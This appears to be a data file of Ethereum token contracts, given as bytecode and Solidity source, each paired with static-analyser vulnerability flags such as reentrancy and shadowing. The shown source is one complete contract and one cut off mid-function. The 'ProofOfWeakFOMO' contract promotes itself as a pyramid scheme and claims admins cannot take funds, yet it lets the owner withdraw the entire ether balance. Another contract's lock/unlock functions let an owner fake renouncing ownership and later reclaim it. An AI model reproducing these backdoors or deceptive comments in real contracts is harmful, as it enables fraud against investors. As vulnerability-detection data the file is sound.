7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c4e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105cb565b6001600160a01b038216610cb05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105cb565b60008111610d125760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105cb565b6000546001600160a01b03848116911614801590610d3e57506000546001600160a01b03838116911614155b1561101f57601554600160a01b900460ff16610dd7576000546001600160a01b03848116911614610dd75760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105cb565b601654811115610e295760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105cb565b6001600160a01b03831660009081526010602052604090205460ff16158015610e6b57506001600160a01b03821660009081526010602052604090205460ff16155b610ec35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105cb565b6015546001600160a01b03838116911614610f485760175481610ee58461079e565b610eef9190611bb7565b10610f485760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105cb565b6000610f533061079e565b601854601654919250821015908210610f6c5760165491505b808015610f835750601554600160a81b900460ff16155b8015610f9d57506015546001600160a01b03868116911614155b8015610fb25750601554600160b01b900460ff165b8015610fd757506001600160a01b03851660009081526005602052604090205460ff16155b8015610ffc57506001600160a01b03841660009081526005602052604090205460ff16155b1561101c5761100a8261121e565b47801561101a5761101a47611160565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061106157506001600160a01b03831660009081526005602052604090205460ff165b8061109357506015546001600160a01b0385811691161480159061109357506015546001600160a01b03848116911614155b156110a05750600061111a565b6015546001600160a01b0385811691161480156110cb57506014546001600160a01b03848116911614155b156110dd57600854600c55600954600d555b6015546001600160a01b03848116911614801561110857506014546001600160a01b03858116911614155b1561111a57600a54600c55600b54600d555b6109a7848484846113a7565b6000818484111561114a5760405162461bcd60e51b81526004016105cb919061195b565b5060006111578486611bcf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561063c573d6000803e3d6000fd5b60006006548211156112015760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105cb565b600061120b6113d5565b905061121783826113f8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126657611266611b70565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112ba57600080fd5b505afa1580156112ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f29190611be6565b8160018151811061130557611305611b70565b6001600160a01b03928316602091820292909201015260145461132b9130911684610ac6565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611364908590600090869030904290600401611c03565b600060405180830381600087803b15801561137e57600080fd5b505af1158015611392573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806113b4576113b461143a565b6113bf848484611468565b806109a7576109a7600e54600c55600f54600d55565b60008060006113e261155f565b90925090506113f182826113f8565b9250505090565b600061121783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061159d565b600c5415801561144a5750600d54155b1561145157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061147a876115cb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114ac9087611628565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114db908661166a565b6001600160a01b0389166000908152600260205260409020556114fd816116c9565b6115078483611713565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161154c91815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061157982826113f8565b8210156115945750506006549266038d7ea4c6800092509050565b90939092509050565b600081836115be5760405162461bcd60e51b81526004016105cb919061195b565b5060006111578486611c74565b60008060008060008060008060006115e88a600c54600d54611737565b92509250925060006115f86113d5565b9050600080600061160b8e87878761178c565b919e509c509a509598509396509194505050505091939550919395565b600061121783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611126565b6000806116778385611bb7565b9050838110156112175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105cb565b60006116d36113d5565b905060006116e183836117dc565b306000908152600260205260409020549091506116fe908261166a565b30600090815260026020526040902055505050565b6006546117209083611628565b600655600754611730908261166a565b6007555050565b6000808080611751606461174b89896117dc565b906113f8565b90506000611764606461174b8a896117dc565b9050600061177c826117768b86611628565b90611628565b9992985090965090945050505050565b600080808061179b88866117dc565b905060006117a988876117dc565b905060006117b788886117dc565b905060006117c9826117768686611628565b939b939a50919850919650505050505050565b6000826117eb57506000610651565b60006117f78385611c96565b9050826118048583611c74565b146112175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105cb565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461079b57600080fd5b803561189181611871565b919050565b600060208083850312156118a957600080fd5b823567ffffffffffffffff808211156118c157600080fd5b818501915085601f8301126118d557600080fd5b8135818111156118e7576118e761185b565b8060051b604051601f19603f8301168101818110858211171561190c5761190c61185b565b60405291825284820192508381018501918883111561192a57600080fd5b938501935b8285101561194f5761194085611886565b8452938501939285019261192f565b98975050505050505050565b600060208083528351808285015260005b818110156119885785810183015185820160400152820161196c565b8181111561199a576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156119c357600080fd5b82356119ce81611871565b946020939093013593505050565b6000806000606084860312156119f157600080fd5b83356119fc81611871565b92506020840135611a0c81611871565b929592945050506040919091013590565b600060208284031215611a2f57600080fd5b813561121781611871565b8035801515811461189157600080fd5b600060208284031215611a5c57600080fd5b61121782611a3a565b600060208284031215611a7757600080fd5b5035919050565b600080600060408486031215611a9357600080fd5b833567ffffffffffffffff80821115611aab57600080fd5b818601915086601f830112611abf57600080fd5b813581811115611ace57600080fd5b8760208260051b8501011115611ae357600080fd5b602092830195509350611af99186019050611a3a565b90509250925092565b60008060408385031215611b1557600080fd5b8235611b2081611871565b91506020830135611b3081611871565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611bb057611bb0611b86565b5060010190565b60008219821115611bca57611bca611b86565b500190565b600082821015611be157611be1611b86565b500390565b600060208284031215611bf857600080fd5b815161121781611871565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c535784516001600160a01b031683529383019391830191600101611c2e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c9157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611cb057611cb0611b86565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202fcf1601a92e6375145160f9b9dfaac9f63ca82782a47b17c0fa8acc05cbecca64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,043
0xbfd77110f80695f1a97fed29b06abc25dfd447a7
pragma solidity ^0.4.20; /* ____ ___ ___ __ __ __ /\ _`\ /'___\ /'___\ /\ \ __/\ \ /\ \ \ \ \L\ \ _ __ ___ ___ /\ \__/ ___ /\ \__/ \ \ \/\ \ \ \ __ __ \ \ \/'\ \ \ ,__//\`'__\ / __`\ / __`\ \ \ ,__\ / __`\ \ \ ,__\ \ \ \ \ \ \ \ /'__`\ /'__`\ \ \ , < \ \ \/ \ \ \/ /\ \L\ \/\ \L\ \ \ \ \_/ /\ \L\ \ \ \ \_/ \ \ \_/ \_\ \/\ __/ /\ \L\.\_ \ \ \\`\ \ \_\ \ \_\ \ \____/\ \____/ \ \_\ \ \____/ \ \_\ \ `\___x___/\ \____\\ \__/.\_\ \ \_\ \_\ \/_/ \/_/ \/___/ \/___/ \/_/ \/___/ \/_/ '\/__//__/ \/____/ \/__/\/_/ \/_/\/_/ ____ _____ _____ /\ _`\ /\ __`\ /'\_/`\ /\ __`\ \ \ \L\_\\ \ \/\ \ /\ \ \ \ \/\ \ \ \ _\/ \ \ \ \ \ \ \ \__\ \ \ \ \ \ \ \ \ \/ \ \ \_\ \ \ \ \_/\ \ \ \ \_\ \ \ \_\ \ \_____\ \ \_\\ \_\ \ \_____\ \/_/ \/_____/ \/_/ \/_/ \/_____/ * Issue: Ordinary pyramid schemes have a token price that varies with the contract balance. * This leaves you vulnerable to the whims of the market, as a sudden crash can drain your investment at any time. * Solution: We remove tokens from the equation altogether, relieving investors of volatility. * The outcome is a pyramid scheme powered entirely by dividends. * We distribute 20% of every buy and sell to shareholders in proportion to their stake in the contract. * Once you've made a deposit, your dividends will accumulate over time while your investment remains safe and stable, * making this the ultimate vehicle for passive income. * contract ProofOfWeakFOMO { ================================= = MODIFIERS = ================================= // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Token { function distr(address _to, uint256 _value) public returns (bool); function totalSupply() constant public returns (uint256 supply); function balanceOf(address _owner) constant public returns (uint256 balance); } contract ProofOfWeakFOMO is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; string public constant name = "Proof Of Weak FOMO"; string public constant symbol = "POWFOMO"; uint public constant decimals = 8; uint256 public totalSupply = 80000000e8; uint256 public totalDistributed = 10; uint256 public totalRemaining = totalSupply.sub(totalDistributed); uint256 public value; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function ProofOfWeakFOMO () public { owner = msg.sender; value = 1307e8; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Distr(_to, _amount); Transfer(address(0), _to, _amount); return true; if (totalDistributed >= totalSupply) { distributionFinished = true; } } function airdrop(address[] addresses) onlyOwner canDistr public { require(addresses.length <= 255); require(value <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(value <= totalRemaining); distr(addresses[i], value); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public { require(addresses.length <= 255); require(amount <= totalRemaining); for (uint i = 0; i < addresses.length; i++) { require(amount <= totalRemaining); distr(addresses[i], amount); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= totalSupply) { distributionFinished = true; } } } function () external payable { getTokens(); } function getTokens() payable canDistr public { if (value > totalRemaining) { value = totalRemaining; } require(value <= totalRemaining); address investor = msg.sender; uint256 toGive = value; distr(investor, toGive); if (toGive > 0) { blacklist[investor] = true; } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { uint256 etherBalance = this.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } } /* YOU SHOULD READ THE CONTRACT*/
0x6060604052600436106101245763ffffffff60e060020a60003504166306fdde03811461012e578063095ea7b3146101b857806318160ddd146101ee57806323b872dd14610213578063313ce5671461023b5780633ccfd60b1461024e5780633fa4f2451461026157806342966c681461027457806370a082311461028a578063729ad39e146102a957806395d89b41146102f85780639b1cbccc1461030b578063a8c310d51461031e578063a9059cbb146103ad578063aa6ca80814610124578063c108d542146103cf578063c489744b146103e2578063d8a5436014610407578063dd62ed3e1461041a578063e58fc54c1461043f578063efca2eed1461045e578063f2fde38b14610471578063f3e4877c14610490578063f9f92be4146104e1575b61012c610500565b005b341561013957600080fd5b610141610595565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017d578082015183820152602001610165565b50505050905090810190601f1680156101aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c357600080fd5b6101da600160a060020a03600435166024356105cc565b604051901515815260200160405180910390f35b34156101f957600080fd5b610201610678565b60405190815260200160405180910390f35b341561021e57600080fd5b6101da600160a060020a036004358116906024351660443561067e565b341561024657600080fd5b61020161080e565b341561025957600080fd5b61012c610813565b341561026c57600080fd5b61020161086d565b341561027f57600080fd5b61012c600435610873565b341561029557600080fd5b610201600160a060020a0360043516610961565b34156102b457600080fd5b61012c600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061097c95505050505050565b341561030357600080fd5b610141610a12565b341561031657600080fd5b6101da610a49565b341561032957600080fd5b61012c600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610ab695505050505050565b34156103b857600080fd5b6101da600160a060020a0360043516602435610b99565b34156103da57600080fd5b6101da610ca2565b34156103ed57600080fd5b610201600160a060020a0360043581169060243516610cab565b341561041257600080fd5b610201610d28565b341561042557600080fd5b610201600160a060020a0360043581169060243516610d2e565b341561044a57600080fd5b6101da600160a060020a0360043516610d59565b341561046957600080fd5b610201610e77565b341561047c57600080fd5b61012c600160a060020a0360043516610e7d565b341561049b57600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610ed492505050565b34156104ec57600080fd5b6101da600160a060020a0360043516610f81565b600954600090819060ff161561051557600080fd5b6007546008541115610528576007546008555b600754600854111561053957600080fd5b5050600854339061054a8282610f96565b50600081111561057857600160a060020a0382166000908152600460205260409020805460ff191660011790555b60055460065410610591576009805460ff191660011790555b5050565b60408051908101604052601281527f50726f6f66204f66205765616b20464f4d4f0000000000000000000000000000602082015281565b600081158015906106015750600160a060020a0333811660009081526003602090815260408083209387168352929052205415155b1561060e57506000610672565b600160a060020a03338116600081815260036020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60055481565b60006060606436101561068d57fe5b600160a060020a03841615156106a257600080fd5b600160a060020a0385166000908152600260205260409020548311156106c757600080fd5b600160a060020a03808616600090815260036020908152604080832033909416835292905220548311156106fa57600080fd5b600160a060020a038516600090815260026020526040902054610723908463ffffffff61109716565b600160a060020a0380871660009081526002602090815260408083209490945560038152838220339093168252919091522054610766908463ffffffff61109716565b600160a060020a03808716600090815260036020908152604080832033851684528252808320949094559187168152600290915220546107ac908463ffffffff6110a916565b600160a060020a03808616600081815260026020526040908190209390935591908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3506001949350505050565b600881565b60015460009033600160a060020a0390811691161461083157600080fd5b50600154600160a060020a0330811631911681156108fc0282604051600060405180830381858888f19350505050151561086a57600080fd5b50565b60085481565b60015460009033600160a060020a0390811691161461089157600080fd5b600160a060020a0333166000908152600260205260409020548211156108b657600080fd5b5033600160a060020a0381166000908152600260205260409020546108db9083611097565b600160a060020a038216600090815260026020526040902055600554610907908363ffffffff61109716565b60055560065461091d908363ffffffff61109716565b600655600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b600160a060020a031660009081526002602052604090205490565b60015460009033600160a060020a0390811691161461099a57600080fd5b60095460ff16156109aa57600080fd5b60ff825111156109b957600080fd5b60075460085411156109ca57600080fd5b5060005b81518110156105785760075460085411156109e857600080fd5b610a098282815181106109f757fe5b90602001906020020151600854610f96565b506001016109ce565b60408051908101604052600781527f504f57464f4d4f00000000000000000000000000000000000000000000000000602082015281565b60015460009033600160a060020a03908116911614610a6757600080fd5b60095460ff1615610a7757600080fd5b6009805460ff191660011790557f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a150600190565b60015460009033600160a060020a03908116911614610ad457600080fd5b60095460ff1615610ae457600080fd5b60ff83511115610af357600080fd5b8151835114610b0157600080fd5b5060005b82518160ff161015610b9457600754828260ff1681518110610b2357fe5b906020019060200201511115610b3857600080fd5b610b72838260ff1681518110610b4a57fe5b90602001906020020151838360ff1681518110610b6357fe5b90602001906020020151610f96565b5060055460065410610b8c576009805460ff191660011790555b600101610b05565b505050565b600060406044361015610ba857fe5b600160a060020a0384161515610bbd57600080fd5b600160a060020a033316600090815260026020526040902054831115610be257600080fd5b600160a060020a033316600090815260026020526040902054610c0b908463ffffffff61109716565b600160a060020a033381166000908152600260205260408082209390935590861681522054610c40908463ffffffff6110a916565b600160a060020a0380861660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a35060019392505050565b60095460ff1681565b60008281600160a060020a0382166370a0823185836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610d0557600080fd5b6102c65a03f11515610d1657600080fd5b50505060405180519695505050505050565b60075481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b6001546000908190819033600160a060020a03908116911614610d7b57600080fd5b83915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610dd557600080fd5b6102c65a03f11515610de657600080fd5b5050506040518051600154909250600160a060020a03808516925063a9059cbb91168360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610e5557600080fd5b6102c65a03f11515610e6657600080fd5b505050604051805195945050505050565b60065481565b60015433600160a060020a03908116911614610e9857600080fd5b600160a060020a0381161561086a5760018054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b60015460009033600160a060020a03908116911614610ef257600080fd5b60095460ff1615610f0257600080fd5b60ff83511115610f1157600080fd5b600754821115610f2057600080fd5b5060005b8251811015610f6457600754821115610f3c57600080fd5b610f5b838281518110610f4b57fe5b9060200190602002015183610f96565b50600101610f24565b60055460065410610b94576009805460ff19166001179055505050565b60046020526000908152604090205460ff1681565b60095460009060ff1615610fa957600080fd5b600654610fbc908363ffffffff6110a916565b600655600754610fd2908363ffffffff61109716565b600755600160a060020a038316600090815260026020526040902054610ffe908363ffffffff6110a916565b600160a060020a0384166000818152600260205260409081902092909255907f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a779084905190815260200160405180910390a2600160a060020a03831660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3506001610672565b6000828211156110a357fe5b50900390565b6000828201838110156110b857fe5b93925050505600a165627a7a723058206f23fc416c09ccbbe59595714adf67ee5f8725cacbf58c0c99f2affbc9d7ce5d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
1,044
0xd718ad25285d65ef4d79262a6cd3aea6a8e01023
/** *Submitted for verification at Etherscan.io on 2021-11-16 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface INFT { function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function walletOfOwner(address _owner) external view returns(uint256[] memory); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping(address => bool) public feeExcludedAddress; mapping (address => mapping (address => uint256)) private _allowances; mapping (uint256 => uint256) lastReward; uint256 private _totalSupply; // Daily Rewards Distributions Start from uint256 private rewardStartDate; bool public dailyReward = true; uint256 public rewardAmount = 10 ether; // ends in a month; string private _name; string private _symbol; uint private _decimals = 18; uint private _lockTime; address public _Owner; address public _previousOwner; address public _fundAddress; address public liquidityPair; uint public teamFee = 300; //0.2% divisor 100 uint public burnFee = 300; //0.2% divisor 100 bool public sellLimiter; //by default false uint public sellLimit = 50000 * 10 ** 18; //sell limit if sellLimiter is true INFT public NFTContract; uint256 public _maxTxAmount = 5000000 * 10**18; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event claimedDailyReward(uint256 tokenID, address claimer, uint256 timestamp); constructor (string memory _nm, string memory _sym, INFT _NFTContract) public { _name = _nm; _symbol = _sym; _Owner = msg.sender; rewardStartDate = block.timestamp - 1 days; NFTContract = _NFTContract; feeExcludedAddress[msg.sender] = true; _fundAddress = address(0x43a3f032E34467e8f692244461CA1b422f9af230); } modifier onlyOwner{ require(msg.sender == _Owner, 'Only Owner Can Call This Function'); _; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function calculateTeamBurn(uint256 _amount) internal view returns (uint256) { return _amount.mul(teamFee+burnFee).div( 10**4 ); } function calculateTeamFee(uint256 _amount) internal view returns (uint256) { return _amount.mul(teamFee).div( 10**4 ); } function setTeamFee(uint Tfee) public onlyOwner{ require(Tfee < 1500," Fee can't exceed to 15%"); teamFee = Tfee; } function setBurnFee(uint Tfee) public onlyOwner{ require(Tfee < 1500," Fee can't exceed to 15%"); burnFee = Tfee; } function toggleSellLimit() external onlyOwner() { sellLimiter = !sellLimiter; } function stopReward() external onlyOwner() { require(dailyReward, "Daily Reward Already Stopped"); dailyReward = false; } function startReward() public onlyOwner{ require(!dailyReward, "Daily Reward Already Running"); dailyReward = true; rewardStartDate = block.timestamp; } function changeRewardAmount(uint256 _amount) public onlyOwner{ rewardAmount = _amount; } function setLiquidityPairAddress(address liquidityPairAddress) public onlyOwner{ liquidityPair = liquidityPairAddress; } function changeSellLimit(uint256 _sellLimit) public onlyOwner{ sellLimit = _sellLimit; } function changeMaxtx(uint256 _maxtx) public onlyOwner{ _maxTxAmount = _maxtx; } function changeFundAddress(address Taddress) public onlyOwner{ _fundAddress = Taddress; } function addExcludedAddress(address excludedA) public onlyOwner{ feeExcludedAddress[excludedA] = true; } function removeExcludedAddress(address excludedA) public onlyOwner{ feeExcludedAddress[excludedA] = false; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_Owner, newOwner); _Owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _Owner; _Owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_Owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_Owner, _previousOwner); _Owner = _previousOwner; } function 